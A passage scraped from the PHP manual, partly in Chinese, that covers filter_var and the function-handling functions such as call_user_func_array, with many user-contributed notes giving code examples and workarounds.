?>

The logic is simple. A non-ascii char is more than one byte long. We replace every one of those chars by "X" and check again.

An alternative will be to punycode the URI before calling filter_var(), but PHP lacks native support for punycode. I think my approach is effective. Please e-mail me if you think otherwise or see room for improvement.
drtebi at yahoo 24-Nov-2009 11:55
Notice that filter_var with FILTER_VALIDATE_EMAIL does not work if you are trying to get a String from an XML document e.g. via xpath.

I often use XML files as configuration files and use a function that returns a string from the config file via xpath. While this worked fine before 5.2.11, it doesn't anymore (and shouldn't, since it's an XML Element, not a String).

To overcome this problem, $variable can be type-casted:

<?php
$variable = fancyXmlGetFunction('from');
filter_var((String) $variable, FILTER_VALIDATE_EMAIL);
?>
jon dot bertsch at ucop dot edu 24-Mar-2009 07:49
Here's an actual example of the filter syntax with a flag since there doesn't appear to be a one liner for this anywhere:

'hours' => array('filter'=>FILTER_SANITIZE_NUMBER_FLOAT, 'flags' => FILTER_FLAG_ALLOW_FRACTION, 'options'=> '.')
dyer85 at gmail dot com 03-Nov-2008 02:00
Note that when using FILTER_VALIDATE_INT along with the FILTER_FLAG_ALLOW_HEX flag, the string "2f", for example, is not validated successfully, because you must use the "0x" prefix, otherwise, it treats the data as base 10.

The range options are also smart enough to recognize when the boundaries are exceeded in different bases.

Here's an example:

<?php

$foo = '256';
$bar = '0x100';
var_dump(validate_int($foo)); // false, too large
var_dump(validate_int($bar)); // false, too large

function validate_int($input)
{
  return filter_var(
    $input,
    FILTER_VALIDATE_INT,

    // We must pass an associative array
    // to include the range check options.
    array(
      'flags'   => FILTER_FLAG_ALLOW_HEX,
      'options' => array('min_range' => 1, 'max_range' => 0xff)
    )
  );
}

?>
dale dot liszka at gmail dot com 09-Jul-2008 10:15
Here is how to use multiple flags (for those who learn better by example, like me):

<?php
echo "|asdf".chr(9).chr(128)."_123|";
echo "\n";
// "bitwise conjunction" means logic OR / bitwise |
echo filter_var("|asdf".chr(9).chr(128)."_123\n|" ,FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH);

/*
Results:
|asdf    ?_123|
|asdf_123|
*/
?>
dale dot liszka at gmail dot com 09-Jul-2008 09:54
Using the FILTER_CALLBACK requires an array to be passed as the options:

<?php
function toDash($x){
   return str_replace("_","-",$x);
}

echo filter_var("asdf_123",FILTER_CALLBACK,array("options"=>"toDash"));
// returns 'asdf-123'
?>
John 26-Jul-2007 12:35
I managed to get this to work with PHP 5.1.6 on CentOS 5 with minor difficulty.

1) Download the PECL filter package
2) Extract the tarball
3) phpize the directory
4) ./configure
5) make
6) filter-0.11.0/logical_filters.c:25:31: error: ext/pcre/php_pcre.h: No such file or directory
7) find / -name php_pcre.h
8) Make sure php-devel is installed
9) Edit filter-0.11.0/logical_filters.c and replace "ext/pcre/php_pcre.h" with the absolute path of php_pcre.h
10) make
11) make install
12) add "extension=filter.so" to php.ini
13) Restart Apache


函数处理

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 函数处理 函数
    • call_user_func_array — 调用回调函数，并把一个数组参数作为回调函数的参数
    • call_user_func — 把第一个参数作为回调函数调用
    • create_function — Create an anonymous (lambda-style) function
    • forward_static_call_array — Call a static method and pass the arguments as array
    • forward_static_call — Call a static method
    • func_get_arg — 返回参数列表的某一项
    • func_get_args — 返回一个包含函数参数列表的数组
    • func_num_args — Returns the number of arguments passed to the function
    • function_exists — 如果给定的函数已经被定义就返回 TRUE
    • get_defined_functions — 返回所有已定义函数的数组
    • register_shutdown_function — 注册一个会在php中止时执行的函数
    • register_tick_function — Register a function for execution on each tick
    • unregister_tick_function — De-register a function for execution on each tick

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数涉及函数的相关操作。

User Contributed Notes

There are no user contributed notes for this page.


函数处理 函数

Table of Contents

  • call_user_func_array — 调用回调函数，并把一个数组参数作为回调函数的参数
  • call_user_func — 把第一个参数作为回调函数调用
  • create_function — Create an anonymous (lambda-style) function
  • forward_static_call_array — Call a static method and pass the arguments as array
  • forward_static_call — Call a static method
  • func_get_arg — 返回参数列表的某一项
  • func_get_args — 返回一个包含函数参数列表的数组
  • func_num_args — Returns the number of arguments passed to the function
  • function_exists — 如果给定的函数已经被定义就返回 TRUE
  • get_defined_functions — 返回所有已定义函数的数组
  • register_shutdown_function — 注册一个会在php中止时执行的函数
  • register_tick_function — Register a function for execution on each tick
  • unregister_tick_function — De-register a function for execution on each tick

User Contributed Notes

php dot spamguard at pulseforce dot com 27-Jan-2009 06:31
PHP is great in how it allows you to send a variable-length argument list to a function by using the func_* functions. However, unfortunately (and this has been brought up numerous time in PHP bug reports/feature requests), it doesn't support passing arguments by reference which would have greatly simplified processing multiple variables at once by simply doing: somefunction($a, $b, $c) and having them processed, without having to do any additional assignment.

However, I've discovered a way to leverage several features of PHP and created a very good example that shows how you can process multiple variables in one fell swoop!

The usage is (with my example function/class):
"list($a, $b, $c, $d, $e) = TextEscape::escape_multi($a, $b, $c, $d, $e);"

If PHP had ACTUALLY been capable of passing variables by reference when using variable-length argument lists, that could have been reduced to:
"TextEscape::escape_multi($a, $b, $c, $d, $e);"

It's extremely close though, both in simplicity and speed. Just be VERY sure to ALWAYS have the SAME NUMBER AND ORDER of arguments on both sides of that statement.

The use of a static class was just to make the code cleaner and easier to look at. This can be applied to any functions!

Now, onto the code, enjoy the sheer brilliance and enjoy modifying multiple variables at once in just ONE statement! ;-)

<?php

class TextEscape
{
    public static function escape_string($sString)
    {
        /* can be anything, using htmlspecialchars() in this example */
        return htmlspecialchars($sString);
    }

    public static function escape_multi()
    {
        /* get all variables passed to the function */
        $aVariables = func_get_args();

        /* loop through the array, escaping each variable */
        foreach ($aVariables as $iKey => $sValue)
        {
            $aVariables[$iKey] = TextEscape::escape_string($sValue);
        }

        /* return the escaped values */
        return $aVariables;
    }
}

// Create test variables
$a = "A<bar";
$b = "B>bar";
$c = "C<bar";
$d = "D>bar";
$e = "E<bar";

// Variables Before:
// Array
// (
//    [0] => A<bar
//    [1] => B>bar
//    [2] => C<bar
//    [3] => D>bar
//    [4] => E<bar
// )
print_r(array($a, $b, $c, $d, $e));

// Process every variable at once,
// we're exploiting both how list() and
// variable-length argument lists work
// to make the usage this smooth! ;-)
list($a, $b, $c, $d, $e) = TextEscape::escape_multi($a, $b, $c, $d, $e);

// Variables After:
// Array
// (
//    [0] => A&lt;bar
//    [1] => B&gt;bar
//    [2] => C&lt;bar
//    [3] => D&gt;bar
//    [4] => E&lt;bar
// )
print_r(array($a, $b, $c, $d, $e));

?>

That's the CLEAN LOOKING version of the code, which illustrates exactly what is HAPPENING.

I also made a speedfreak edition of the function, but didn't want to post it as the main example since it's harder to read.

But it's faster, much faster! It passes by reference where it can and loops in a more efficient way.

Just replace the above function with this one, the outcome is the same but the speed is better:

<?php

class TextEscape
{
    public static function escape_string(&$sString) // CHANGED: we now pass by reference to the actual text processing function
    {
        /* can be anything, using htmlspecialchars() in this example */
        $sString = htmlspecialchars($sString);
    }

    public static function escape_multi()
    {
        /* get all variables passed to the function */
        $aVariables = func_get_args();

        /* loop through the array, escaping each variable */
        for ($i=(count($aVariables)-1); $i>=0; $i--) // CHANGED: a more efficient for-loop is used instead of a foreach; and for anyone wondering about the counter declaration, this is a common optimization trick which makes it so that the size of the array only has to be checked ONCE, by initializing the counter to the index of the last element (which is size of array minus 1) and then iterating downwards until we reach 0 (the first element)
        {
            TextEscape::escape_string($aVariables[$i]); // CHANGED: this has been changed to modify the variable by reference instead
        }

        /* return the escaped values */
        return $aVariables;
    }
}

?>

Enjoy!
Michael T. McGrew 12-May-2005 09:56
An interesting way to use functions is by putting other things than PHP in them, i.e. HTML CSS. This can be useful if you will be using a format for many pages. Yes, the include function can be used also, but by defining them in functions can make them more portable in a way and keep you from having to make many include files. You could use include() when one will be putting big portions of PHP, HTML, and/or CSS and will be using them in many pages. Then you could use PHP, HTML, and/or CSS in a function when it is smaller portions of code and only want it to be on a few pages.

I have been using include() for HTML and CSS in my early days of PHP coding, but I will be using functions for that a lot more now.

<?php function a() {  ?>
<style type="text/css">
table {
border: 1px dashed black;
background: #95EAFE;
text-align:left;
width:610px;
}
.linkbar {
font-family:sans-serif;
line-height:40px;
top:1px;
text-align:center;
width:200px;
height:10px;
}
</style>
<?php }  ?>

Now doing:
<?php a(); ?>
will return all of the CSS just as if you had wrote it on the actual page, or used include() . The same thing goes for HTML code inside a function. The possibilities are endless...
michael dot bommarito at gmail dot com 30-Jan-2005 11:28
I've developed an easy-to-use hack using these functions to emulate overloaded functions.  It's especially handy for constructors and/or C++ style templating.

Here's a little example to get you going.  This does the trick for most circumstances, and if you need more intelligent parsing, it's not too hard to implement with regex or a more suitable classification scheme.

N.B. Note the lack of whitespace between variable types in case strings.

class Matrix {

...

function Matrix() {
  $args = func_get_args();
  $argmatch = implode(",", array_map('gettype', $args));

  switch( $argmatch ) {
    case 'integer,integer':
      //initialize m x n matrix
      break;

    case 'integer,integer,integer':
      //initialize m x n matrix with constant c
      break;

    case 'integer,integer,float':
      //initialize m x n matrix with constant c
      break;

    case 'array':
      //initialize from array (2D....)
      break;

    case 'array,integer':
      //intialize from array (1D packed with m rows)
      break;

    default:
      //(void) overload?
      //error handling?
      break;
  }
}

...

}
php-note-2003-june-18 at ryandesign dot com 18-Jun-2003 08:22
Xavier's example is rather complicated, and his task would be much more simply accomplished by using classes. Define a base class to do the basic functions open, dump, and close, and create extension classes to override whatever behavior.

class foo {
  function open() {
    // Default functionality for open()
  }
  function dump() {
    // Default functionality for dump()
  }
  function close() {
    // Default functionality for close()
  }
}

class bar extends foo {
  function open() {
    // Override functionality of open()
  }
  // dump() and close() remain as in class foo
}
xmontero at dsitelecom dot com 23-Aug-2002 02:49
You can do some kind of overloading functions in PHP using "function_exists".

Let's suppose you want a script to call plugins that are php files and you want the plugins to "override" behaviours that if not overriden are used by default.

You might for example write a "mySQL table viewer" which displays a table and it "opens a table", "dumps the header", "dumps row-by-row" and then "closes the table".

Let's suppose you want a plugin for "Stocks" which prints negative stocks in red, so you want to override the "dumping row-by-row" to do that behaviour. Instead you do not want to have all the "default behaviour" repeated in the plugin.

You may then do the following:

1) Define a default plugin (ex: "default.php"

2) Write all your functions in default.php to open, dump and close, but add them a suffix:

open_table_default()
dump_header_default()
dump_row_default()
close_table_default()

3) Call your functions with a wrapper: Insetad of this:
open_table() or open_table_default() write this:

plugincall("open_table");

4) Then write a function called plugincall which uses function_exists() to see if you call one or the other function:

function plugincall($desired_function_name)
{

if( function_exists( $desired_function_name))
{
    //Call the plugin
    //Note the $ before the name
    $desired_function_name()
}
else
{
  $desired_function_name = $desired_function_name . "_default";
  if( function_exists($desired_function_name))
  {
      //Call the default
      //Note the $ before the name
      $desired_function_name()
  }
  else
  {
      // Nor the plugin nor the default were defined
  }
}

So, now, if the require_once(plugin.php) contains a function called "open_table()", it will be used. Instaed, "open_table_default()" will be used.

It's not like overloading functions, but it is very useful to write scripts ampliable by other programmers: If they write a function, it is used, if not, the default is used.

See ya!
Xavier Montero.


调用回调函数，并把一个数组参数作为回调函数的参数

  • ? 函数处理 函数
  • call_user_func ?
  • PHP Manual
  • 函数处理 函数
  • 调用回调函数，并把一个数组参数作为回调函数的参数

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

call_user_func_array — 调用回调函数，并把一个数组参数作为回调函数的参数

说明

call_user_func_array ( callable $callback , array $param_arr ) : mixed

把第一个参数作为回调函数（callback）调用，把参数数组作（param_arr）为回调函数的的参数传入。

参数

callback

被调用的回调函数。

param_arr

要被传入回调函数的数组，这个数组得是索引数组。

返回值

返回回调函数的结果。如果出错的话就返回FALSE

更新日志

版本 | 说明
5.3.0 | 对面向对象里面的关键字的解析有所增强。在此之前，使用两个冒号来连接一个类和里面的一个方法，把它作为参数来作为回调函数的话，将会发出一个E_STRICT的警告，因为这个传入的参数被视为静态方法。

范例

Example #1 call_user_func_array()例子

<?php
function foobar($arg, $arg2) {
    echo __FUNCTION__, " got $arg and $arg2\n";
}
class foo {
    function bar($arg, $arg2) {
        echo __METHOD__, " got $arg and $arg2\n";
    }
}

// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));

// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>

以上例程的输出类似于：

foobar got one and two
foo::bar got three and four

Example #2 call_user_func_array()使用命名空间的情况

<?php

namespace Foobar;

class Foo {
    static public function test($name) {
        print "Hello {$name}!\n";
    }
}

// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));

// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));

?>

以上例程的输出类似于：

Hello Hannes!
Hello Philip!

Example #3 把完整的函数作为回调传入call_user_func_array()

<?php

$func = function($arg1, $arg2) {
    return $arg1 * $arg2;
};

var_dump(call_user_func_array($func, array(2, 4))); /* As of PHP 5.3.0 */

?>

以上例程会输出：

int(8)

Example #4 传引用

<?php

function mega(&$a){
    $a = 55;
    echo "function mega \$a=$a\n";
}
$bar = 77;
call_user_func_array('mega',array(&$bar));
echo "global \$bar=$bar\n";

?>

以上例程会输出：

function mega $a=55
global $bar=55

注释

Note:

PHP 5.4之前，如果param_arr里面的参数是引用传值，那么不管原函数默认的各个参数是不是引用传值，都会以引用方式传入到回调函数。虽然以引用传值这种方式来传递参数给回调函数，不会发出不支持的警告，但是不管怎么说，这样做还是不被支持的。并且在PHP 5.4里面被去掉了。而且，这也不适用于内部函数，for which the function signature is honored。如果回调函数默认设置需要接受的参数是引用传递的时候，按值传递，结果将会输出一个警告。call_user_func() 将会返回 FALSE（there is, however, an exception for passed values with reference count = 1, such as in literals, as these can be turned into references without ill effects — but also without writes to that value having any effect —; do not rely in this behavior, though, as the reference count is an implementation detail and the soundness of this behavior is questionable）。

Note:

在函数中注册有多个回调内容时(如使用 call_user_func() 与 call_user_func_array())，如在前一个回调中有未捕获的异常，其后的将不再被调用。

参见

  • call_user_func() - 把第一个参数作为回调函数调用
  • callback 类型的信息
  • ReflectionFunction::invokeArgs() - Invokes function args
  • ReflectionMethod::invokeArgs() - 带参数执行

User Contributed Notes

ben at benhunt dot com 29-Nov-2018 04:23
If you're thinking call_user_func_array has changed the array of multiple parameters to a string, remember that it does not pass the array through to the called function as a single argument (array), but creates one argument for each element in the array.
zonkiie 01-Jul-2017 04:38
An implementation where parameters are submitted by their name.
This function calls class functions, class methods, functions and anonymous functions.

/**
    * Calls a method, function or closure. Parameters are supplied by their names instead of their position.
    * @param $call_arg like $callback in call_user_func_array()
    * Case1: {object, method}
    * Case2: {class, function}
    * Case3: "class::function"
    * Case4: "function"
    * Case5: closure
    * @param array $param_array A key-value array with the parameters
    * @return result of the method, function or closure
    * @throws \Exception when wrong arguments are given or required parameters are not given.
    */
function call_user_function_named_param($call_arg, array $param_array)
{
    $Func = null;
    $Method = null;
    $Object = null;
    $Class = null;
    // The cases. f means function name
    // Case1: f({object, method}, params)
    // Case2: f({class, function}, params)
    if(is_array($call_arg) && count($call_arg) == 2)
    {
        if(is_object($call_arg[0]))
        {
            $Object = $call_arg[0];
            $Class = get_class($Object);
        }
        else if(is_string($call_arg[0]))
        {
            $Class = $call_arg[0];
        }
        if(is_string($call_arg[1]))
        {
            $Method = $call_arg[1];
        }
    }
    // Case3: f("class::function", params)
    else if(is_string($call_arg) && strpos($call_arg, "::") !== FALSE)
    {
        list($Class, $Method) = explode("::", $call_arg);
    }
    // Case4: f("function", params)
    else if(is_string($call_arg) && strpos($call_arg, "::") === FALSE)
    {
        $Method = $call_arg;
    }
    // Case5: f(closure, params)
    else if(is_object($call_arg) && $call_arg instanceof \Closure)
    {
        $Method = $call_arg;
    }
    else throw new \Exception("Case not allowed! Invalid Data supplied!");
    if($Class) $Func = new \ReflectionMethod($Class, $Method);
    else $Func = new \ReflectionFunction($Method);
    $params = array();
    foreach($Func->getParameters() as $Param)
    {
        if($Param->isDefaultValueAvailable()) $params[$Param->getPosition()] = $Param->getDefaultValue();
        if(array_key_exists($Param->name, $param_array)) $params[$Param->getPosition()] = $param_array[$Param->name];
        if(!$Param->isOptional() && !isset($params[$Param->getPosition()])) die("No Defaultvalue available and no Value supplied!\r\n");
    }
    if($Func instanceof \ReflectionFunction) return $Func->invokeArgs($params);
    if($Func->isStatic()) return $Func->invokeArgs(null, $params);
    else return $Func->invokeArgs($Object, $params);
}

//Test code:

function func($arg1, $arg2 = "Jane")
{
    return $arg1 . "," . $arg2;
}

class tc1
{
    public static function func1($Arg1, $Arg2 = "HH")
    {
        return $Arg1 . " " . $Arg2;
    }
}

$func2 = function($a1, $a2)
{
   return "a1:" . $a1 . ", a2:" . $a2;
};

$ret = call_user_function_named_param('func', array("arg1"=>"Hello", "arg2"=>"Joe"));
echo "Call Return:" . print_r($ret, true) . PHP_EOL;
$ret = call_user_function_named_param(array(new tc1(), 'func1'), array("Arg1"=>"Hello", "Arg2"=>"Joe"));
echo "Call2 Return:" . print_r($ret, true) . PHP_EOL;
$ret = call_user_function_named_param($func2, array("a1"=>"Hello", "a2"=>"Joe"));
echo "Call3 Return:" . print_r($ret, true) . PHP_EOL;
gmail@asmqb7 08-Jan-2017 04:31
Note that call_user_func() will completely trash debug_backtrace().

Solution:

<?php

your_function(...call_user_func())

?>

Note the 3 dots (array unpacking syntax).
jim at commercebyte dot com 02-Jan-2017 05:42
Before PHP 7.1.0, if you call a function without passing required arguments, a warning was generated, and the missing arguments defaulted to NULL.
In PHP 7.1.0, an ArgumentCountError is being thrown instead. (A little bit of nuisance IMHO, because it causes compatibility issues).
When you use <? call_user_func_array()  ?>, same behavior applies - the exception is thrown if you missed arguments.
Here's a quick and dirty fix for it:
<?
function call_user_func_array_i($callbk,$args) {
    while(true) {
        try {
            return call_user_func_array($callbk,$args);
        } catch(ArgumentCountError $e) {
            $args[] = NULL;
        }
    }
}
?>
Replace your calls to <? call_user_func_array() ?> with <? call_user_func_array_i() ?>, and the good old behavior is back (except that it doesn't issue a warning, but you probably didn't need it anyway).
wriver4 at gmail dot com 02-Jul-2016 03:05
Kris dot Craig at gmail dot com dispatch table does not work currently, but this does.
<?php
define("YOUR_MOTHER", 1);
define("YOUR_FATHER", 2);
define("YOUR_BROTHER", 3);
define("YOUR_SISTER", 4);

class MyFamily
{

    static $dispatch = array(
        YOUR_MOTHER => "mom",
        YOUR_FATHER => "getPrisonInmate",
        YOUR_BROTHER => "replaceName",
        YOUR_SISTER => "lazyGirl");
    static $args = array(
        YOUR_MOTHER => array(),
        YOUR_FATHER => array(
            "55170-054",
            TRUE,
            3),
        YOUR_BROTHER => array(),
        YOUR_SISTER => array());

    function getDispatch($fromwhere)
    {
        return call_user_func_array(array(
            get_class(),
            self::$dispatch[$fromwhere]), self::$args[$fromwhere]);
    }

    function mom()
    {
        return "Mommy loves you!";
    }

    function getPrisonInmate($PrisonerID, $GoodBehavior, $remaining,
            $notes = null)
    {
        //Check prison records for his ID, then....

        if ($GoodBehavior)
        {
            $parole = "APPROVED";
        }
        else
        {
            $parole = "DENIED";
        }

        return "Your father (#$PrisonerID) has $remaining years left in his sentence.  His most recent parole application has been:  $parole";
    }

    function replaceName()
    {
        return "Her name is Sally now.";
    }

    function lazyGirl()
    {
        print "Your sister needs to get out more....";

        //sleep(pow(60, 2) * 18);  //You can sleep later!

        die("Nah, I'm too tired.");
    }

}
print "Status on family member: ".MyFamily::GetDispatch(YOUR_FATHER).'<br><br>';
james dot patrick at lifeshop dot vn 14-Oct-2015 04:00
I've found the solution to resolve my need while writing the str_replace function for processing the multi array as first two arguments of str_replace built-in function(although its pass each array of argument 1 & 2)

<?php
// custom the str_replace function
function p_str_replace($argFind, $agrReplace, $theString) {
  $needle_replace = $theString; // handle the string need to be replace
  array_walk($argFind, function($val, $key) use(&$needle_replace, $agrReplace) {
    $needle_replace = call_user_func_array('str_replace', array($val, $agrReplace[$key], $needle_replace));
  });
  return $needle_replace;
}

// test
$the_str = array(
  'coa' => ':col: :op1: :val: AND :col: :op2: :val:'
);
$ope = array('>=', '<=');
$colsdata = array('date_start', '2015-10-14');

echo p_str_replace(array(
          array(':col:', ':val:'),
          array(':op1:', ':op2:')
        ), array(
            $colsdata,
            $ope
        ), $the_str['coa']);

echo '-------------------------------' . "\n";

// more complexity
$complex = '(:col: :op1: :val: AND :col: :op2: :val:) AND (:col2: :op1: :val2: AND :col2: :op1: :val2:)';

echo p_str_replace(array(
  array(':col:', ':val:'),
  array(':col2:', ':val2:'),
  array(':op1:', ':op2:')
), array(
  array('date_start', '2015-10-01'),
  array('date_end', '2015-10-14'),
  array('>', '<')
), $complex);

?>

Sorry about my bad English :)
Hope this help someone.
Anonymous 11-Aug-2015 09:51
$param_arr may be empty, though it can't be null.

<?php
function foo( $first = 'default1', $second = 'default2' ) {
    echo "first: '$first', second: '$second'\n";
}
call_user_func_array( 'foo', array( 'one', 'two' ) );
call_user_func_array( 'foo', array( 'only one' ) );
call_user_func_array( 'foo', array() );
call_user_func_array( 'foo', null );
?>

Output:
first: 'one', second: 'two'
first: 'only one', second: 'default2'
first: 'default1', second: 'default2'
/* error message or nothing printed depending on version */
admin at torntech dot com 15-Jul-2015 02:06
As of PHP 5.6 you can utilize argument unpacking as an alternative to call_user_func_array, and is often 3 to 4 times faster.

<?php
function foo ($a, $b) {
     return $a + $b;
}

$func = 'foo';
$values = array(1, 2);
call_user_func_array($func, $values);
//returns 3

$func(...$values);
//returns 3
?>

Benchmarks from https://gist.github.com/nikic/6390366
cufa   with 0 args took 0.43453288078308
switch with 0 args took 0.24134302139282
unpack with 0 args took 0.12418699264526
cufa   with 5 args took 0.73408579826355
switch with 5 args took 0.49595499038696
unpack with 5 args took 0.18640494346619
cufa   with 100 args took 5.0327250957489
switch with 100 args took 5.291127204895
unpack with 100 args took 1.2362589836121
stanislav dot eckert at vizson dot de 10-Aug-2014 12:48
Please note, that when calling call_user_func_array() to redirect parameters between inherited classes, you should not use $this, because $this always refers to the class which has been instantiated. The following code even seems to crash PHP (PHP does not report error but the process simply terminates), because the the parameters are redirected only one level up (to class foo_bar2):

<?php

    class foo_bar1
    {
        public function __construct()
        {
            echo __CLASS__ . PHP_EOL;

            if (func_num_args() > 0)
            {
                $constructorArgs = func_get_args();
                call_user_func_array(array($this, 'parent::__construct'), $constructorArgs);
            }
            else
            {
                parent::__construct();
            }
        }
    }

    class foo_bar2 extends foo_bar1
    {
        public function __construct()
        {
            echo __CLASS__ . PHP_EOL;

            if (func_num_args() > 0)
            {
                $constructorArgs = func_get_args();
                call_user_func_array(array($this, 'parent::__construct'), $constructorArgs);
            }
            else
            {
                parent::__construct();
            }
        }
    }

    class foo_bar3 extends foo_bar2
    {
        public function __construct()
        {
            echo __CLASS__ . PHP_EOL;

            if (func_num_args() > 0)
            {
                $constructorArgs = func_get_args();
                call_user_func_array(array($this, 'parent::__construct'), $constructorArgs);
            }
            else
            {
                parent::__construct();
            }
        }
    }

    $f = new foo_bar3("abc");

?>

Instead, use the direct name of the class as string or, better, the magic constant __CLASS__ in call_user_func_array(), like:

    call_user_func_array(array(__CLASS__, 'parent::__construct'), $constructorArgs);

Then the parameters will be correctly redirected to the lowest base class.
jaxxed 10-Jul-2012 04:42
For anyone looking for the means to test for the first parameter before passing to this function, look at the is_callable (http://php.net/manual/en/function.is-callable.php) variable handler.

<?php

$handler = array( 'MyClass', 'MyMethod');
$params = array(1,2,3,4);

if ( is_callable($handler) ) { call_user_func_array( $handler , $params ); }

?>
Brad Proctor 06-Nov-2010 09:07
This function is relatively slow (as of PHP 5.3.3) and if you are calling a method with a known number of parameters it is much faster to call it this way:

$class->{$method}($param1, $param2);

vs

call_user_func_array (array($class, $method), array($param1, $param2));

But if you don't know how many parameters...

The wrapper function below is slightly faster, but the problem now is that you are making two function calls.  One to the wrapper and one to the function.

However, If you are able to take this code out of the function and use it inline it is nearly twice as fast (in most cases) as calling call_user_func_array natively.

<?php
function wrap_call_user_func_array($c, $a, $p) {
    switch(count($p)) {
        case 0: $c->{$a}(); break;
        case 1: $c->{$a}($p[0]); break;
        case 2: $c->{$a}($p[0], $p[1]); break;
        case 3: $c->{$a}($p[0], $p[1], $p[2]); break;
        case 4: $c->{$a}($p[0], $p[1], $p[2], $p[3]); break;
        case 5: $c->{$a}($p[0], $p[1], $p[2], $p[3], $p[4]); break;
        default: call_user_func_array(array($c, $a), $p);  break;
    }
}
?>
Kris dot Craig at gmail dot com 16-Jun-2010 03:28
Many people have wondered how to effectively implement dispatch tables in PHP.  Here's my answer to that (if you'll forgive my creative flair):

<?php

/*
 * Using dispatch tables in PHP.
 *
 * --Kris Craig
 */

define( "YOUR_MOTHER",  1 );
define( "YOUR_FATHER",  2 );
define( "YOUR_BROTHER", 3 );
define( "YOUR_SISTER",  4 );

class MyFamily
{
    static $dispatch = array( YOUR_MOTHER => "Mom", YOUR_FATHER => "GetPrisonInmate", YOUR_BROTHER => "ReplaceName", YOUR_SISTER => "LazyGirl" );
    static $args = array( YOUR_MOTHER => array(), YOUR_FATHER => array( "55170-054", TRUE ), YOUR_BROTHER => array(), YOUR_SISTER => array() );

    function GetDispatch( $fromwhere )
    {
        return call_user_func_array( array( self, self::$dispatch[$fromwhere] ), self::$args[$fromwhere] );
    }

    function Mom()
    {
        return "Mommy loves you!";
    }

    function GetPrisonInmate( $PrisonerID, $GoodBehavior )
    {
        //Check prison records for his ID, then....

        if ( $GoodBehavior )
        {
            $parole = "APPROVED";
        }
        else
        {
            $parole = "DENIED";
        }

        return "Your father (#$PrisonerID) has $remaining years left in his sentence.  His most recent parole application has been:  $parole";
    }

    function ReplaceName()
    {
        return "Her name is Sally now.";
    }

    function LazyGirl()
    {
        print "Your sister needs to get out more....";

        //sleep( pow( 60, 2 ) * 18 );  //You can sleep later!

        die( "Nah, I'm too tired." );
    }
}

print "Status on family member: " . MyFamily::GetDispatch( YOUR_FATHER );

?>
noone at example dot com 21-Apr-2010 03:03
For those of you that have to consider performance: it takes about 3 times as long to call the function this way than via a straight statement, so whenever it is feasible to avoid this method it's a wise idea to do so.

Note that eval() is about 10 times slower than a straight statement to call a function with arguments, so this is definitely a better option than using eval() even if you only consider performance.
aj at ajbrown dot org 22-Dec-2009 07:30
Just a heads up, the second parameter MUST be an array if it's specified,  but that doesn't seem to be enforced until ~5.3.

I just pulled my hair out with an old installation of CakePHP because it was passing NULL instead of an empty array.
mrextreme at freemail dot hu 07-Dec-2009 08:34
If you are using PHP < 5.3 and want to call the parent class' __construct() with a variable parameter list, use this:

<?php
public function __construct()
{
    $vArgs = func_get_args(); // you can't just put func_get_args() into a function as a parameter
    call_user_func_array(array('parent', '__construct'), $vArgs);
}
?>
dmitry dot revenko at businessmedia dot ru 25-Sep-2009 05:28
Just hope this note helps someone (I killed the whole day on issue).

If you use something like this in PHP < 5.3:
<?php call_user_func_array(array($this, 'parent::func'), $args); ?>
Such a script will cause segmentation fault in your webserver.

In 5.3 you should write it:
<?php call_user_func_array('parent::func', $args); ?>
Damin 13-Jun-2009 12:06
Those having the passing by reference issue can use this simple hack.
I′m really not sure WHY this works, but it does, and it does not make use of EVAL or other questionable functions.
<?php
    function executeHook($name, $type='hooks'){
        $args = func_get_args();
        array_shift($args);
        array_shift($args);
        //Rather stupid Hack for the call_user_func_array();
        $Args = array();
        foreach($args as $k => &$arg){
            $Args[$k] = &$arg;
        }
        //End Hack
        $hooks = &$this->$type;
        if(!isset($hooks[$name])) return false;
        $hook = $hooks[$name];
        call_user_func_array($hook, $Args);
    }
?>

All it′s doing is copying the args ($args) into a new array ($Args) by reference, which i would think would be identical to the original array in every way (that matters).

Note the code here is an example of usage. The actual hack is denoted by comments.
If someone knows a better alternative, by all means, i would love to see it.
Freek (at) Gruntjes.net 07-Apr-2009 01:53
I just noticed that when you use this function with parameters that need to be passed by reference it will not work.

<?php
function refFunc(&$var)
{
  $var .= 'bar';
}

$var = 'foo';
?>

call_user_func_array('refFunc', array($var));
echo $var;

will output 'foo' and not  'foobar'. Witch is logical since you are declaring a new variable with array($var) however not so obvious.
thiago dot henrique dot mata at gmail dot com 22-Jul-2008 02:17
<?php
Class Delegate
{
    private $arrInstances = array();

    protected function addObject( $oElement )
    {
        // add one element on the end of the stack  //
        $this->arrInstances[] = $oElement;
    }

    public function __call( $strMethod, $arrParams )
    {
        // for each element in instance //
        foreach( $this->arrInstances as $oElement )
        {
            // get the class of the element //
            $strClass = get_class( $oElement );
            // get all methods of the class  //
            $arrMethods = get_class_methods( $strClass );
            // case the method exists into this class  //
            if( in_array( $strMethod , $arrMethods ) )
            {
                // prepare caller //
                $arrCaller = Array( $strClass , $strMethod );
                // return the result of the method into the object  //
                return call_user_func_array( $arrCaller, $arrParams );
            }
        }
        // any object has the method //
        // throw a exception //
        throw new Exception( " Method " . $strMethod . " not exist in this class " . get_class( $this ) . "." );
    }
}

class Log
{
    public function sayHi()
    {
        print "hi!" . "<br/>\n";
    }

    public function sayMyName()
    {
        print "log" . "<br/>\n";
    }
}

class Other
{
    public function sayHello()
    {
        print "hello there!" . "<br/>\n";
    }

    public function sayMyName()
    {
        print "other" . "<br/>\n";
    }
}

class Example extends Delegate
{
    public function __construct()
    {
        $this->addObject( new Log() );
        $this->addObject( new Other() );
    }
}

$oExample = new Example();
$oExample->sayHi();
$oExample->sayHello();
$oExample->sayMyName();

/*
    hi!<br/>
    hello there!<br/>
    log<br/>
*/
?>
dnhuff at acm.org 07-Jun-2008 11:57
It appears that when PHP executes something like:

$a = array(1,2,3);
$b =& $a[1];

both $b and $a[1] are converted into references to a common value -- makes sense until you transfer that to a call_user_func:

call_user_func_array('foo', $a);

suddenly, inside foo, the second parameter is passed by reference!

